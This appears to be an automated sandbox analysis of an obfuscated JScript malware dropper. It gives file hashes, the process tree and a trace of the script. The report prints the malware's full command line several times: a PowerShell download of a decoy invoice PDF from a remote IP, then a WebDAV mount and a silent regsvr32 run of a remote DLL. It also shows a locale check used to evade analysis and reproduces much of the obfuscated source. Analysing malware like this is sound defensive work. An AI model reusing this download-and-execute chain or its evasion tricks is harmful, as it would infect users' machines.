Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16405), with CRLF line terminators
Entropy (8bit):	4.934334076635705
TrID:
File name:	1460324287242413198.js
File size:	19'907 bytes
MD5:	dc65ebb04b00500c501f5c65101354ee
SHA1:	6bf19554acee96a025d43d7be008ccef5a8fd7fc
SHA256:	e761f3f95484ffe5f434ed7df868a1e08449647196cbe98635429c191cc62ce3
SHA512:	79dd759fd472cfde1856014b78b6e316957424c1a1ef2ad6f51e9932d5c0919635973ede915cf25046e688e4d63d50d203bcaa20219e841aa7b4bee6d7e87dd6
SSDEEP:	384:5OgWby+Y/JJT9kWyZot5SfK2sQthizASDYLkb:MgWby+Y/JJT9kWFAK21izASDYLkb
TLSH:	209243E682069BF313F14D74872708F2E3A723DE81D0A79AA5DD20655E1B0F1E5FA1B1
File Content Preview:	function medumfu(){mkcqeo=[1031,3079,5127,4103,2055,3072];var jhzbn=this[mxzmazgit+qpksgcv+dtearmkxi+nsvswtwy+qfxsgl+qdyng+klgnwhwb+pjsbz](this[xumouy+moatsgfa+lxvgm+dtearmkxi+utkebuuw+mxzmazgit+pjsbz][nfojtcikl+dtearmkxi+qfxsgl+qpksgcv+pjsbz+qfxsgl+vxape

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:59:42
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js"
Imagebase:	0x7ff7624e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:59:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Imagebase:	0x7ff633b30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:59:43
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:59:43
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:59:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:59:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff633b30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:59:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ba1c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:59:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:59:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:59:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1636,i,1026210736153619432,10130516545325452977,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function medumfu() {	medumfu() ➔ undefined
1	mkcqeo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jhzbn = this[mxzmazgit + qpksgcv + dtearmkxi + nsvswtwy + qfxsgl + qdyng + klgnwhwb + pjsbz] ( this[xumouy + moatsgfa + lxvgm + dtearmkxi + utkebuuw + mxzmazgit + pjsbz][nfojtcikl + dtearmkxi + qfxsgl + qpksgcv + pjsbz + qfxsgl + vxapenu + buseocdj + dyfhsq + qfxsgl + lxvgm + pjsbz] ( xumouy + moatsgfa + lxvgm + dtearmkxi + utkebuuw + mxzmazgit + pjsbz + dsjdopj + moatsgfa + ibwblmfxy + qfxsgl + qzjtdca + qzjtdca ) [isnry + qfxsgl + crtdhpqth + isnry + qfxsgl + qpksgcv + stcatss] ( utvgxw + vctjulw + emogod + xddgt + omfrsc + nfojtcikl + kyryyf + isnry + isnry + emogod + wbbnda + pbfwqsqq + omfrsc + kyryyf + moatsgfa + emogod + isnry + iikcaby + nfojtcikl + opchrfjud + klgnwhwb + pjsbz + dtearmkxi + opchrfjud + qzjtdca + tmhlhybdk + bitrfnop + qpksgcv + klgnwhwb + qfxsgl + qzjtdca + iikcaby + qdyng + klgnwhwb + pjsbz + qfxsgl + dtearmkxi + klgnwhwb + qpksgcv + pjsbz + utkebuuw + opchrfjud + klgnwhwb + qpksgcv + qzjtdca + iikcaby + wxguaphlu + opchrfjud + lxvgm + qpksgcv + qzjtdca + qfxsgl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mjduzbuso = 0 ; mjduzbuso < mkcqeo[qzjtdca + qfxsgl + klgnwhwb + crtdhpqth + pjsbz + ibwblmfxy] ; ++ mjduzbuso )
4	{
5	if ( jhzbn == mkcqeo[mjduzbuso] )
6	{
7	jhzbn = true;
8	break ;
9	}
10	}
11	if ( jhzbn !== true )
12	this[xumouy + moatsgfa + lxvgm + dtearmkxi + utkebuuw + mxzmazgit + pjsbz][dmegrblwp + kqqvvuee + utkebuuw + pjsbz] ( );
13	this[xumouy + moatsgfa + lxvgm + dtearmkxi + utkebuuw + mxzmazgit + pjsbz][nfojtcikl + dtearmkxi + qfxsgl + qpksgcv + pjsbz + qfxsgl + vxapenu + buseocdj + dyfhsq + qfxsgl + lxvgm + pjsbz] ( xumouy + moatsgfa + lxvgm + dtearmkxi + utkebuuw + mxzmazgit + pjsbz + dsjdopj + moatsgfa + ibwblmfxy + qfxsgl + qzjtdca + qzjtdca ) [dtearmkxi + kqqvvuee + klgnwhwb] ( lxvgm + uzwww + stcatss + tmhlhybdk + nspqpp + lxvgm + tmhlhybdk + mxzmazgit + opchrfjud + kytocv + qfxsgl + dtearmkxi + nsvswtwy + ibwblmfxy + qfxsgl + qzjtdca + qzjtdca + dsjdopj + qfxsgl + nplnpw + qfxsgl + tmhlhybdk + ymgzphzti + nfojtcikl + opchrfjud + uzwww + uzwww + qpksgcv + klgnwhwb + stcatss + tmhlhybdk + mqcqr + qdyng + klgnwhwb + gttmxqs + opchrfjud + srxow + qfxsgl + ymgzphzti + xumouy + qfxsgl + buseocdj + isnry + qfxsgl + mlpxnkrf + kqqvvuee + qfxsgl + nsvswtwy + pjsbz + tmhlhybdk + ymgzphzti + vxapenu + kqqvvuee + pjsbz + vklguy + utkebuuw + qzjtdca + qfxsgl + tmhlhybdk + fgjro + pjsbz + qfxsgl + uzwww + mxzmazgit + fgjro + iikcaby + utkebuuw + klgnwhwb + gttmxqs + opchrfjud + utkebuuw + lxvgm + qfxsgl + dsjdopj + mxzmazgit + stcatss + zkxcjaui + tmhlhybdk + ibwblmfxy + pjsbz + pjsbz + mxzmazgit + mpzgc + nspqpp + nspqpp + vephu + yfwdaiu + cyjhycsql + dsjdopj + vephu + uhwtcbh + cyjhycsql + dsjdopj + vephu + dsjdopj + ygysflfis + vchyhfu + nlhvmo + nspqpp + utkebuuw + klgnwhwb + gttmxqs + opchrfjud + utkebuuw + lxvgm + qfxsgl + dsjdopj + mxzmazgit + ibwblmfxy + mxzmazgit + mqcqr + aqqyifb + aqqyifb + nsvswtwy + pjsbz + qpksgcv + dtearmkxi + pjsbz + tmhlhybdk + fgjro + pjsbz + qfxsgl + uzwww + mxzmazgit + fgjro + iikcaby + utkebuuw + klgnwhwb + gttmxqs + opchrfjud + utkebuuw + lxvgm + qfxsgl + dsjdopj + mxzmazgit + stcatss + zkxcjaui + aqqyifb + aqqyifb + lxvgm + uzwww + stcatss + tmhlhybdk + nspqpp + lxvgm + tmhlhybdk + klgnwhwb + qfxsgl + pjsbz + tmhlhybdk + kqqvvuee + nsvswtwy + qfxsgl + tmhlhybdk + iikcaby + iikcaby + vephu + yfwdaiu + cyjhycsql + dsjdopj + vephu + uhwtcbh + cyjhycsql + dsjdopj + vephu + dsjdopj + ygysflfis + vchyhfu + nlhvmo + kxeadfnr + iqpbr + iqpbr + iqpbr + iqpbr + iikcaby + stcatss + qpksgcv + gttmxqs + kytocv + kytocv + kytocv + dtearmkxi + opchrfjud + opchrfjud + pjsbz + iikcaby + aqqyifb + aqqyifb + lxvgm + uzwww + stcatss + tmhlhybdk + nspqpp + lxvgm + tmhlhybdk + dtearmkxi + qfxsgl + crtdhpqth + nsvswtwy + gttmxqs + dtearmkxi + cyjhycsql + ygysflfis + tmhlhybdk + nspqpp + nsvswtwy + tmhlhybdk + iikcaby + iikcaby + vephu + yfwdaiu + cyjhycsql + dsjdopj + vephu + uhwtcbh + cyjhycsql + dsjdopj + vephu + dsjdopj + ygysflfis + vchyhfu + nlhvmo + kxeadfnr + iqpbr + iqpbr + iqpbr + iqpbr + iikcaby + stcatss + qpksgcv + gttmxqs + kytocv + kytocv + kytocv + dtearmkxi + opchrfjud + opchrfjud + pjsbz + iikcaby + ygysflfis + abrsswqo + nlhvmo + eqzcqyr + cyjhycsql + vephu + vchyhfu + vchyhfu + vchyhfu + vephu + vephu + cyjhycsql + uhwtcbh + uhwtcbh + vephu + dsjdopj + stcatss + qzjtdca + qzjtdca, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll",0,false) ➔ 0
14	}
15	iikcaby = "A";
16	iikcaby = "k";
17	iikcaby = "j";
18	iikcaby = "g";
19	iikcaby = "k";
20	iikcaby = "H";
21	iikcaby = "O";
22	iikcaby = "J";
23	iikcaby = "l";
24	iikcaby = "E";
25	iikcaby = "e";
26	iikcaby = "G";
27	iikcaby = "Z";
28	iikcaby = "H";
29	iikcaby = "Y";
30	iikcaby = "L";
31	iikcaby = "j";
32	iikcaby = "j";
33	iikcaby = "Z";
34	iikcaby = "g";
35	iikcaby = "v";
36	iikcaby = "g";
37	iikcaby = "x";
38	iikcaby = "z";
39	iikcaby = "v";
40	iikcaby = "e";
41	iikcaby = "S";
42	iikcaby = "V";
43	iikcaby = "I";
44	iikcaby = "a";
45	iikcaby = "\\";
46	wbbnda = "V";
47	wbbnda = "V";
48	wbbnda = "N";
49	qpksgcv = "l";
50	qpksgcv = "I";
51	qpksgcv = "a";
52	qpksgcv = "i";
53	qpksgcv = "t";
54	qpksgcv = "U";
55	qpksgcv = "U";
56	qpksgcv = "X";
57	qpksgcv = "D";
58	qpksgcv = "V";
59	qpksgcv = "z";
60	qpksgcv = "h";
61	qpksgcv = "Y";
62	qpksgcv = "B";
63	qpksgcv = "v";
64	qpksgcv = "S";
65	qpksgcv = "M";
66	qpksgcv = "p";
67	qpksgcv = "X";
68	qpksgcv = "j";
69	qpksgcv = "V";
70	qpksgcv = "R";
71	qpksgcv = "g";
72	qpksgcv = "n";
73	qpksgcv = "y";
74	qpksgcv = "S";
75	qpksgcv = "I";
76	qpksgcv = "R";
77	qpksgcv = "f";
78	qpksgcv = "x";
79	qpksgcv = "s";
80	qpksgcv = "w";
81	qpksgcv = "E";
82	qpksgcv = "c";
83	qpksgcv = "l";
84	qpksgcv = "S";
85	qpksgcv = "a";
86	qpksgcv = "w";
87	qpksgcv = "p";
88	qpksgcv = "G";
89	qpksgcv = "d";
90	qpksgcv = "a";
91	nspqpp = "k";
92	nspqpp = "m";
93	nspqpp = "N";
94	nspqpp = "I";
95	nspqpp = "u";
96	nspqpp = "C";
97	nspqpp = "B";
98	nspqpp = "x";
99	nspqpp = "x";
100	nspqpp = "F";
101	nspqpp = "/";
102	xddgt = "x";
103	xddgt = "F";
104	xddgt = "J";
105	xddgt = "o";
106	xddgt = "A";
107	xddgt = "s";
108	xddgt = "b";
109	xddgt = "Y";
110	moatsgfa = "h";
111	moatsgfa = "U";
112	moatsgfa = "K";
113	moatsgfa = "V";
114	moatsgfa = "j";
115	moatsgfa = "a";
116	moatsgfa = "Y";
117	moatsgfa = "I";
118	moatsgfa = "g";
119	moatsgfa = "E";
120	moatsgfa = "N";
121	moatsgfa = "L";
122	moatsgfa = "j";
123	moatsgfa = "z";
124	moatsgfa = "B";
125	moatsgfa = "E";
126	moatsgfa = "A";
127	moatsgfa = "B";
128	moatsgfa = "h";
129	moatsgfa = "u";
130	moatsgfa = "O";
131	moatsgfa = "G";
132	moatsgfa = "V";
133	moatsgfa = "a";
134	moatsgfa = "S";
135	kytocv = "m";
136	kytocv = "U";
137	kytocv = "R";
138	kytocv = "d";
139	kytocv = "p";
140	kytocv = "a";
141	kytocv = "R";
142	kytocv = "R";
143	kytocv = "Q";
144	kytocv = "B";
145	kytocv = "w";
146	buseocdj = "v";
147	buseocdj = "y";
148	buseocdj = "t";
149	buseocdj = "Z";
150	buseocdj = "j";
151	buseocdj = "m";
152	buseocdj = "Q";
153	buseocdj = "z";
154	buseocdj = "o";
155	buseocdj = "v";
156	buseocdj = "m";
157	buseocdj = "q";
158	buseocdj = "X";
159	buseocdj = "m";
160	buseocdj = "G";
161	buseocdj = "m";
162	buseocdj = "f";
163	buseocdj = "k";
164	buseocdj = "r";
165	buseocdj = "N";
166	buseocdj = "K";
167	buseocdj = "P";
168	buseocdj = "e";
169	buseocdj = "C";
170	buseocdj = "k";
171	buseocdj = "w";
172	buseocdj = "V";
173	buseocdj = "F";
174	buseocdj = "p";
175	buseocdj = "E";
176	buseocdj = "c";
177	buseocdj = "b";
178	utkebuuw = "L";
179	utkebuuw = "D";
180	utkebuuw = "p";
181	utkebuuw = "Z";
182	utkebuuw = "q";
183	utkebuuw = "N";
184	utkebuuw = "o";
185	utkebuuw = "f";
186	utkebuuw = "Z";
187	utkebuuw = "C";
188	utkebuuw = "i";
189	utkebuuw = "h";
190	utkebuuw = "R";
191	utkebuuw = "M";
192	utkebuuw = "Y";
193	utkebuuw = "I";
194	utkebuuw = "K";
195	utkebuuw = "m";
196	utkebuuw = "h";
197	utkebuuw = "G";
198	utkebuuw = "E";
199	utkebuuw = "H";
200	utkebuuw = "h";
201	utkebuuw = "K";
202	utkebuuw = "S";
203	utkebuuw = "I";
204	utkebuuw = "t";
205	utkebuuw = "L";
206	utkebuuw = "i";
207	crtdhpqth = "u";
208	crtdhpqth = "j";
209	crtdhpqth = "H";
210	crtdhpqth = "K";
211	crtdhpqth = "i";
212	crtdhpqth = "z";
213	crtdhpqth = "H";
214	crtdhpqth = "q";
215	crtdhpqth = "k";
216	crtdhpqth = "V";
217	crtdhpqth = "B";
218	crtdhpqth = "j";
219	crtdhpqth = "B";
220	crtdhpqth = "p";
221	crtdhpqth = "z";
222	crtdhpqth = "y";
223	crtdhpqth = "g";
224	vctjulw = "a";
225	vctjulw = "B";
226	vctjulw = "m";
227	vctjulw = "V";
228	vctjulw = "q";
229	vctjulw = "F";
230	vctjulw = "P";
231	vctjulw = "O";
232	vctjulw = "R";
233	vctjulw = "e";
234	vctjulw = "R";
235	vctjulw = "v";
236	vctjulw = "u";
237	vctjulw = "J";
238	vctjulw = "H";
239	vctjulw = "l";
240	vctjulw = "O";
241	vctjulw = "N";
242	vctjulw = "N";
243	vctjulw = "C";
244	vctjulw = "r";
245	vctjulw = "K";
246	vctjulw = "t";
247	vctjulw = "W";
248	vctjulw = "w";
249	vctjulw = "N";
250	vctjulw = "K";
251	pbfwqsqq = "g";
252	pbfwqsqq = "f";
253	pbfwqsqq = "C";
254	pbfwqsqq = "y";
255	pbfwqsqq = "o";
256	pbfwqsqq = "G";
257	pbfwqsqq = "J";
258	pbfwqsqq = "S";
259	pbfwqsqq = "t";
260	pbfwqsqq = "Q";
261	pbfwqsqq = "M";
262	pbfwqsqq = "w";
263	pbfwqsqq = "B";
264	pbfwqsqq = "Z";
265	pbfwqsqq = "T";
266	gttmxqs = "T";
267	gttmxqs = "w";
268	gttmxqs = "q";
269	gttmxqs = "n";
270	gttmxqs = "W";
271	gttmxqs = "C";
272	gttmxqs = "D";
273	gttmxqs = "D";
274	gttmxqs = "F";
275	gttmxqs = "n";
276	gttmxqs = "e";
277	gttmxqs = "m";
278	gttmxqs = "v";
279	gttmxqs = "F";
280	gttmxqs = "j";
281	gttmxqs = "B";
282	gttmxqs = "v";
283	utvgxw = "T";
284	utvgxw = "D";
285	utvgxw = "s";
286	utvgxw = "q";
287	utvgxw = "J";
288	utvgxw = "v";
289	utvgxw = "S";
290	utvgxw = "n";
291	utvgxw = "P";
292	utvgxw = "n";
293	utvgxw = "W";
294	utvgxw = "S";
295	utvgxw = "M";
296	utvgxw = "X";
297	utvgxw = "O";
298	utvgxw = "H";
299	abrsswqo = "D";
300	abrsswqo = "O";
301	abrsswqo = "M";
302	abrsswqo = "E";
303	abrsswqo = "A";
304	abrsswqo = "N";
305	abrsswqo = "v";
306	abrsswqo = "v";
307	abrsswqo = "m";
308	abrsswqo = "b";
309	abrsswqo = "j";
310	abrsswqo = "C";
311	abrsswqo = "y";
312	abrsswqo = "o";
313	abrsswqo = "E";
314	abrsswqo = "Y";
315	abrsswqo = "G";
316	abrsswqo = "k";
317	abrsswqo = "t";
318	abrsswqo = "M";
319	abrsswqo = "M";
320	abrsswqo = "F";
321	abrsswqo = "O";
322	abrsswqo = "n";
323	abrsswqo = "D";
324	abrsswqo = "Z";
325	abrsswqo = "c";
326	abrsswqo = "x";
327	abrsswqo = "h";
328	abrsswqo = "E";
329	abrsswqo = "6";
330	xumouy = "z";
331	xumouy = "z";
332	xumouy = "h";
333	xumouy = "S";
334	xumouy = "w";
335	xumouy = "C";
336	xumouy = "C";
337	xumouy = "M";
338	xumouy = "a";
339	xumouy = "h";
340	xumouy = "n";
341	xumouy = "t";
342	xumouy = "w";
343	xumouy = "O";
344	xumouy = "A";
345	xumouy = "l";
346	xumouy = "Q";
347	xumouy = "a";
348	xumouy = "E";
349	xumouy = "m";
350	xumouy = "c";
351	xumouy = "G";
352	xumouy = "t";
353	xumouy = "E";
354	xumouy = "C";
355	xumouy = "C";
356	xumouy = "x";
357	xumouy = "z";
358	xumouy = "n";
359	xumouy = "W";
360	xumouy = "A";
361	xumouy = "Q";
362	xumouy = "J";
363	xumouy = "V";
364	xumouy = "p";
365	xumouy = "W";
366	kyryyf = "S";
367	kyryyf = "s";
368	kyryyf = "D";
369	kyryyf = "L";
370	kyryyf = "Q";
371	kyryyf = "R";
372	kyryyf = "b";
373	kyryyf = "G";
374	kyryyf = "D";
375	kyryyf = "e";
376	kyryyf = "n";
377	kyryyf = "Q";
378	kyryyf = "c";
379	kyryyf = "I";
380	kyryyf = "F";
381	kyryyf = "r";
382	kyryyf = "m";
383	kyryyf = "N";
384	kyryyf = "B";
385	kyryyf = "U";
386	ygysflfis = "b";
387	ygysflfis = "h";
388	ygysflfis = "b";
389	ygysflfis = "R";
390	ygysflfis = "p";
391	ygysflfis = "Q";
392	ygysflfis = "I";
393	ygysflfis = "V";
394	ygysflfis = "x";
395	ygysflfis = "R";
396	ygysflfis = "h";
397	ygysflfis = "W";
398	ygysflfis = "k";
399	ygysflfis = "g";
400	ygysflfis = "V";
401	ygysflfis = "M";
402	ygysflfis = "q";
403	ygysflfis = "n";
404	ygysflfis = "d";
405	ygysflfis = "l";
406	ygysflfis = "U";
407	ygysflfis = "g";
408	ygysflfis = "N";
409	ygysflfis = "S";
410	ygysflfis = "F";
411	ygysflfis = "B";
412	ygysflfis = "D";
413	ygysflfis = "M";
414	ygysflfis = "j";
415	ygysflfis = "m";
416	ygysflfis = "U";
417	ygysflfis = "2";
418	kxeadfnr = "q";
419	kxeadfnr = "w";
420	kxeadfnr = "O";
421	kxeadfnr = "f";
422	kxeadfnr = "H";
423	kxeadfnr = "B";
424	kxeadfnr = "C";
